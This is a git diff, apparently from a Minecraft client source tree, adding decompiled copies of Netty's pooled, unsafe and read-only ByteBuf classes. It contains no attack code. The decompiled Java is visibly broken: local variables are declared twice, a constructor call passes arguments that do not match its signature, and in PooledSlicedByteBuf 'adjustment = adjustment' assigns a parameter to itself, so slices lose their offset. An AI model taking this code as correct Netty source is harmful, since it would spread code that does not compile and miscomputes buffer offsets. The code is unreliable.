+    index = idx(index);
+    ((byte[])memory)[index] = ((byte)(value >>> 8));
+    ((byte[])memory)[(index + 1)] = ((byte)value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    index = idx(index);
+    ((byte[])memory)[index] = ((byte)(value >>> 16));
+    ((byte[])memory)[(index + 1)] = ((byte)(value >>> 8));
+    ((byte[])memory)[(index + 2)] = ((byte)value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    index = idx(index);
+    ((byte[])memory)[index] = ((byte)(value >>> 24));
+    ((byte[])memory)[(index + 1)] = ((byte)(value >>> 16));
+    ((byte[])memory)[(index + 2)] = ((byte)(value >>> 8));
+    ((byte[])memory)[(index + 3)] = ((byte)value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    index = idx(index);
+    ((byte[])memory)[index] = ((byte)(int)(value >>> 56));
+    ((byte[])memory)[(index + 1)] = ((byte)(int)(value >>> 48));
+    ((byte[])memory)[(index + 2)] = ((byte)(int)(value >>> 40));
+    ((byte[])memory)[(index + 3)] = ((byte)(int)(value >>> 32));
+    ((byte[])memory)[(index + 4)] = ((byte)(int)(value >>> 24));
+    ((byte[])memory)[(index + 5)] = ((byte)(int)(value >>> 16));
+    ((byte[])memory)[(index + 6)] = ((byte)(int)(value >>> 8));
+    ((byte[])memory)[(index + 7)] = ((byte)(int)value);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.capacity());
+    if (src.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(src.memoryAddress() + srcIndex, (byte[])memory, idx(index), length);
+    } else if (src.hasArray()) {
+      setBytes(index, src.array(), src.arrayOffset() + srcIndex, length);
+    } else {
+      src.getBytes(srcIndex, (byte[])memory, idx(index), length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.length);
+    System.arraycopy(src, srcIndex, memory, idx(index), length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    int length = src.remaining();
+    checkIndex(index, length);
+    src.get((byte[])memory, idx(index), length);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    return in.read((byte[])memory, idx(index), length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    try {
+      return in.read((ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length));
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf copy = alloc().heapBuffer(length, maxCapacity());
+    copy.writeBytes((byte[])memory, idx(index), length);
+    return copy;
+  }
+  
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    ByteBuffer buf = ByteBuffer.wrap((byte[])memory, index, length);
+    return buf.slice();
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  public boolean hasArray()
+  {
+    return true;
+  }
+  
+  public byte[] array()
+  {
+    return (byte[])memory;
+  }
+  
+  public int arrayOffset()
+  {
+    return offset;
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected ByteBuffer newInternalNioBuffer(byte[] memory)
+  {
+    return ByteBuffer.wrap(memory);
+  }
+  
+  protected Recycler<?> recycler()
+  {
+    return RECYCLER;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledSlicedByteBuf.java b/src/minecraft/io/netty/buffer/PooledSlicedByteBuf.java
new file mode 100644
index 0000000..0ad36c2
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledSlicedByteBuf.java
@@ -0,0 +1,445 @@
+package io.netty.buffer;
+
+import io.netty.util.ByteProcessor;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledSlicedByteBuf
+  extends AbstractPooledDerivedByteBuf
+{
+  private static final Recycler<PooledSlicedByteBuf> RECYCLER = new Recycler()
+  {
+    protected PooledSlicedByteBuf newObject(Recycler.Handle<PooledSlicedByteBuf> handle) {
+      return new PooledSlicedByteBuf(handle, null);
+    }
+  };
+  int adjustment;
+  
+  static PooledSlicedByteBuf newInstance(AbstractByteBuf unwrapped, ByteBuf wrapped, int index, int length) {
+    AbstractUnpooledSlicedByteBuf.checkSliceOutOfBounds(index, length, unwrapped);
+    return newInstance0(unwrapped, wrapped, index, length);
+  }
+  
+  private static PooledSlicedByteBuf newInstance0(AbstractByteBuf unwrapped, ByteBuf wrapped, int adjustment, int length)
+  {
+    PooledSlicedByteBuf slice = (PooledSlicedByteBuf)RECYCLER.get();
+    slice.init(unwrapped, wrapped, 0, length, length);
+    slice.discardMarks();
+    adjustment = adjustment;
+    
+    return slice;
+  }
+  
+
+  private PooledSlicedByteBuf(Recycler.Handle<PooledSlicedByteBuf> handle)
+  {
+    super(handle);
+  }
+  
+  public int capacity()
+  {
+    return maxCapacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new UnsupportedOperationException("sliced buffer");
+  }
+  
+  public int arrayOffset()
+  {
+    return idx(unwrap().arrayOffset());
+  }
+  
+  public long memoryAddress()
+  {
+    return unwrap().memoryAddress() + adjustment;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().nioBuffer(idx(index), length);
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().nioBuffers(idx(index), length);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().copy(idx(index), length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().slice(idx(index), length);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    checkIndex0(index, length);
+    return newInstance0(unwrap(), this, idx(index), length);
+  }
+  
+
+  public ByteBuf duplicate()
+  {
+    ByteBuf duplicate = unwrap().slice(adjustment, capacity());
+    duplicate.setIndex(readerIndex(), writerIndex());
+    return duplicate;
+  }
+  
+
+  public ByteBuf retainedDuplicate()
+  {
+    ByteBuf duplicate = retainedSlice(0, capacity());
+    duplicate.setIndex(readerIndex(), writerIndex());
+    return duplicate;
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex0(index, 1);
+    return unwrap().getByte(idx(index));
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return unwrap()._getByte(idx(index));
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex0(index, 2);
+    return unwrap().getShort(idx(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    return unwrap()._getShort(idx(index));
+  }
+  
+  public short getShortLE(int index)
+  {
+    checkIndex0(index, 2);
+    return unwrap().getShortLE(idx(index));
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return unwrap()._getShortLE(idx(index));
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex0(index, 3);
+    return unwrap().getUnsignedMedium(idx(index));
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return unwrap()._getUnsignedMedium(idx(index));
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    checkIndex0(index, 3);
+    return unwrap().getUnsignedMediumLE(idx(index));
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return unwrap()._getUnsignedMediumLE(idx(index));
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex0(index, 4);
+    return unwrap().getInt(idx(index));
+  }
+  
+  protected int _getInt(int index)
+  {
+    return unwrap()._getInt(idx(index));
+  }
+  
+  public int getIntLE(int index)
+  {
+    checkIndex0(index, 4);
+    return unwrap().getIntLE(idx(index));
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return unwrap()._getIntLE(idx(index));
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex0(index, 8);
+    return unwrap().getLong(idx(index));
+  }
+  
+  protected long _getLong(int index)
+  {
+    return unwrap()._getLong(idx(index));
+  }
+  
+  public long getLongLE(int index)
+  {
+    checkIndex0(index, 8);
+    return unwrap().getLongLE(idx(index));
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return unwrap()._getLongLE(idx(index));
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex0(index, dst.remaining());
+    unwrap().getBytes(idx(index), dst);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    checkIndex0(index, 1);
+    unwrap().setByte(idx(index), value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    unwrap()._setByte(idx(index), value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    checkIndex0(index, 2);
+    unwrap().setShort(idx(index), value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    unwrap()._setShort(idx(index), value);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    checkIndex0(index, 2);
+    unwrap().setShortLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    unwrap()._setShortLE(idx(index), value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    checkIndex0(index, 3);
+    unwrap().setMedium(idx(index), value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    unwrap()._setMedium(idx(index), value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    checkIndex0(index, 3);
+    unwrap().setMediumLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    unwrap()._setMediumLE(idx(index), value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    checkIndex0(index, 4);
+    unwrap().setInt(idx(index), value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    unwrap()._setInt(idx(index), value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    checkIndex0(index, 4);
+    unwrap().setIntLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    unwrap()._setIntLE(idx(index), value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    checkIndex0(index, 8);
+    unwrap().setLong(idx(index), value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    unwrap()._setLong(idx(index), value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    checkIndex0(index, 8);
+    unwrap().setLongLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    unwrap().setLongLE(idx(index), value);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().setBytes(idx(index), src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().setBytes(idx(index), src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    checkIndex0(index, src.remaining());
+    unwrap().setBytes(idx(index), src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().getBytes(idx(index), out, length);
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().getBytes(idx(index), out, position, length);
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, length);
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length)
+    throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, position, length);
+  }
+  
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    checkIndex0(index, length);
+    int ret = unwrap().forEachByte(idx(index), length, processor);
+    if (ret < adjustment) {
+      return -1;
+    }
+    return ret - adjustment;
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    checkIndex0(index, length);
+    int ret = unwrap().forEachByteDesc(idx(index), length, processor);
+    if (ret < adjustment) {
+      return -1;
+    }
+    return ret - adjustment;
+  }
+  
+  private int idx(int index) {
+    return index + adjustment;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledUnsafeDirectByteBuf.java b/src/minecraft/io/netty/buffer/PooledUnsafeDirectByteBuf.java
new file mode 100644
index 0000000..9f0dcf2
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledUnsafeDirectByteBuf.java
@@ -0,0 +1,394 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledUnsafeDirectByteBuf
+  extends PooledByteBuf<ByteBuffer>
+{
+  private static final boolean NATIVE_ORDER = ByteOrder.nativeOrder() == ByteOrder.BIG_ENDIAN;
+  
+  private static final Recycler<PooledUnsafeDirectByteBuf> RECYCLER = new Recycler()
+  {
+
+    protected PooledUnsafeDirectByteBuf newObject(Recycler.Handle handle) { return new PooledUnsafeDirectByteBuf(handle, 0, null); }
+  };
+  private long memoryAddress;
+  
+  static PooledUnsafeDirectByteBuf newInstance(int maxCapacity) {
+    PooledUnsafeDirectByteBuf buf = (PooledUnsafeDirectByteBuf)RECYCLER.get();
+    buf.setRefCnt(1);
+    buf.maxCapacity(maxCapacity);
+    return buf;
+  }
+  
+
+  private PooledUnsafeDirectByteBuf(Recycler.Handle recyclerHandle, int maxCapacity)
+  {
+    super(recyclerHandle, maxCapacity);
+  }
+  
+  void init(PoolChunk<ByteBuffer> chunk, long handle, int offset, int length, int maxLength)
+  {
+    super.init(chunk, handle, offset, length, maxLength);
+    initMemoryAddress();
+  }
+  
+  void initUnpooled(PoolChunk<ByteBuffer> chunk, int length)
+  {
+    super.initUnpooled(chunk, length);
+    initMemoryAddress();
+  }
+  
+  private void initMemoryAddress() {
+    memoryAddress = (PlatformDependent.directBufferAddress((ByteBuffer)memory) + offset);
+  }
+  
+  protected ByteBuffer newInternalNioBuffer(ByteBuffer memory)
+  {
+    return memory.duplicate();
+  }
+  
+  public boolean isDirect()
+  {
+    return true;
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return PlatformDependent.getByte(addr(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    short v = PlatformDependent.getShort(addr(index));
+    return NATIVE_ORDER ? v : Short.reverseBytes(v);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    long addr = addr(index);
+    return (PlatformDependent.getByte(addr) & 0xFF) << 16 | (PlatformDependent.getByte(addr + 1L) & 0xFF) << 8 | PlatformDependent.getByte(addr + 2L) & 0xFF;
+  }
+  
+
+
+  protected int _getInt(int index)
+  {
+    int v = PlatformDependent.getInt(addr(index));
+    return NATIVE_ORDER ? v : Integer.reverseBytes(v);
+  }
+  
+  protected long _getLong(int index)
+  {
+    long v = PlatformDependent.getLong(addr(index));
+    return NATIVE_ORDER ? v : Long.reverseBytes(v);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.capacity() - length)) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    
+    if (length != 0) {
+      if (dst.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(addr(index), dst.memoryAddress() + dstIndex, length);
+      } else if (dst.hasArray()) {
+        PlatformDependent.copyMemory(addr(index), dst.array(), dst.arrayOffset() + dstIndex, length);
+      } else {
+        dst.setBytes(dstIndex, this, index, length);
+      }
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.length - length)) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    if (length != 0) {
+      PlatformDependent.copyMemory(addr(index), dst, dstIndex, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    getBytes(index, dst, false);
+    return this;
+  }
+  
+  private void getBytes(int index, ByteBuffer dst, boolean internal) {
+    checkIndex(index);
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    int length = dst.remaining();
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    checkIndex(index, length);
+    if (length != 0) {
+      byte[] tmp = new byte[length];
+      PlatformDependent.copyMemory(addr(index), tmp, 0, length);
+      out.write(tmp);
+    }
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    checkIndex(index, length);
+    if (length == 0) {
+      return 0;
+    }
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf;
+    if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    return out.write(tmpBuf);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length)
+    throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    PlatformDependent.putByte(addr(index), (byte)value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    PlatformDependent.putShort(addr(index), NATIVE_ORDER ? (short)value : Short.reverseBytes((short)value));
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    long addr = addr(index);
+    PlatformDependent.putByte(addr, (byte)(value >>> 16));
+    PlatformDependent.putByte(addr + 1L, (byte)(value >>> 8));
+    PlatformDependent.putByte(addr + 2L, (byte)value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    PlatformDependent.putInt(addr(index), NATIVE_ORDER ? value : Integer.reverseBytes(value));
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    PlatformDependent.putLong(addr(index), NATIVE_ORDER ? value : Long.reverseBytes(value));
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    if ((srcIndex < 0) || (srcIndex > src.capacity() - length)) {
+      throw new IndexOutOfBoundsException("srcIndex: " + srcIndex);
+    }
+    
+    if (length != 0) {
+      if (src.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(src.memoryAddress() + srcIndex, addr(index), length);
+      } else if (src.hasArray()) {
+        PlatformDependent.copyMemory(src.array(), src.arrayOffset() + srcIndex, addr(index), length);
+      } else {
+        src.getBytes(srcIndex, this, index, length);
+      }
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    if (length != 0) {
+      PlatformDependent.copyMemory(src, srcIndex, addr(index), length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    checkIndex(index, src.remaining());
+    ByteBuffer tmpBuf = internalNioBuffer();
+    if (src == tmpBuf) {
+      src = src.duplicate();
+    }
+    
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + src.remaining());
+    tmpBuf.put(src);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    byte[] tmp = new byte[length];
+    int readBytes = in.read(tmp);
+    if (readBytes > 0) {
+      PlatformDependent.copyMemory(tmp, 0, addr(index), readBytes);
+    }
+    return readBytes;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    ByteBuffer tmpBuf = internalNioBuffer();
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    try {
+      return in.read(tmpBuf);
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf copy = alloc().directBuffer(length, maxCapacity());
+    if (length != 0) {
+      if (copy.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(addr(index), copy.memoryAddress(), length);
+        copy.setIndex(0, length);
+      } else {
+        copy.writeBytes(this, index, length);
+      }
+    }
+    return copy;
+  }
+  
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    return ((ByteBuffer)((ByteBuffer)memory).duplicate().position(index).limit(index + length)).slice();
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return true;
+  }
+  
+  public long memoryAddress()
+  {
+    return memoryAddress;
+  }
+  
+  private long addr(int index) {
+    return memoryAddress + index;
+  }
+  
+  protected Recycler<?> recycler()
+  {
+    return RECYCLER;
+  }
+  
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    return new UnsafeDirectSwappedByteBuf(this);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledUnsafeHeapByteBuf.java b/src/minecraft/io/netty/buffer/PooledUnsafeHeapByteBuf.java
new file mode 100644
index 0000000..e164c9f
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledUnsafeHeapByteBuf.java
@@ -0,0 +1,168 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledUnsafeHeapByteBuf
+  extends PooledHeapByteBuf
+{
+  private static final Recycler<PooledUnsafeHeapByteBuf> RECYCLER = new Recycler()
+  {
+    protected PooledUnsafeHeapByteBuf newObject(Recycler.Handle<PooledUnsafeHeapByteBuf> handle) {
+      return new PooledUnsafeHeapByteBuf(handle, 0, null);
+    }
+  };
+  
+  static PooledUnsafeHeapByteBuf newUnsafeInstance(int maxCapacity) {
+    PooledUnsafeHeapByteBuf buf = (PooledUnsafeHeapByteBuf)RECYCLER.get();
+    buf.reuse(maxCapacity);
+    return buf;
+  }
+  
+  private PooledUnsafeHeapByteBuf(Recycler.Handle<PooledUnsafeHeapByteBuf> recyclerHandle, int maxCapacity) {
+    super(recyclerHandle, maxCapacity);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return UnsafeByteBufUtil.getByte((byte[])memory, idx(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    return UnsafeByteBufUtil.getShort((byte[])memory, idx(index));
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return UnsafeByteBufUtil.getShortLE((byte[])memory, idx(index));
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return UnsafeByteBufUtil.getUnsignedMedium((byte[])memory, idx(index));
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return UnsafeByteBufUtil.getUnsignedMediumLE((byte[])memory, idx(index));
+  }
+  
+  protected int _getInt(int index)
+  {
+    return UnsafeByteBufUtil.getInt((byte[])memory, idx(index));
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return UnsafeByteBufUtil.getIntLE((byte[])memory, idx(index));
+  }
+  
+  protected long _getLong(int index)
+  {
+    return UnsafeByteBufUtil.getLong((byte[])memory, idx(index));
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return UnsafeByteBufUtil.getLongLE((byte[])memory, idx(index));
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    UnsafeByteBufUtil.setByte((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    UnsafeByteBufUtil.setShort((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setShortLE((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    UnsafeByteBufUtil.setMedium((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setMediumLE((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    UnsafeByteBufUtil.setInt((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    UnsafeByteBufUtil.setIntLE((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    UnsafeByteBufUtil.setLong((byte[])memory, idx(index), value);
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    UnsafeByteBufUtil.setLongLE((byte[])memory, idx(index), value);
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    if (PlatformDependent.javaVersion() >= 7)
+    {
+      _setZero(index, length);
+      return this;
+    }
+    return super.setZero(index, length);
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    if (PlatformDependent.javaVersion() >= 7)
+    {
+      ensureWritable(length);
+      int wIndex = writerIndex;
+      _setZero(wIndex, length);
+      writerIndex = (wIndex + length);
+      return this;
+    }
+    return super.writeZero(length);
+  }
+  
+  private void _setZero(int index, int length) {
+    checkIndex(index, length);
+    UnsafeByteBufUtil.setZero((byte[])memory, idx(index), length);
+  }
+  
+  @Deprecated
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    if (PlatformDependent.isUnaligned())
+    {
+      return new UnsafeHeapSwappedByteBuf(this);
+    }
+    return super.newSwappedByteBuf();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ReadOnlyByteBuf.java b/src/minecraft/io/netty/buffer/ReadOnlyByteBuf.java
new file mode 100644
index 0000000..3d5b92b
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ReadOnlyByteBuf.java
@@ -0,0 +1,317 @@
+package io.netty.buffer;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ReadOnlyBufferException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReadOnlyByteBuf
+  extends AbstractDerivedByteBuf
+{
+  private final ByteBuf buffer;
+  
+  public ReadOnlyByteBuf(ByteBuf buffer)
+  {
+    super(buffer.maxCapacity());
+    
+    if (((buffer instanceof ReadOnlyByteBuf)) || ((buffer instanceof DuplicatedByteBuf))) {
+      this.buffer = buffer.unwrap();
+    } else {
+      this.buffer = buffer;
+    }
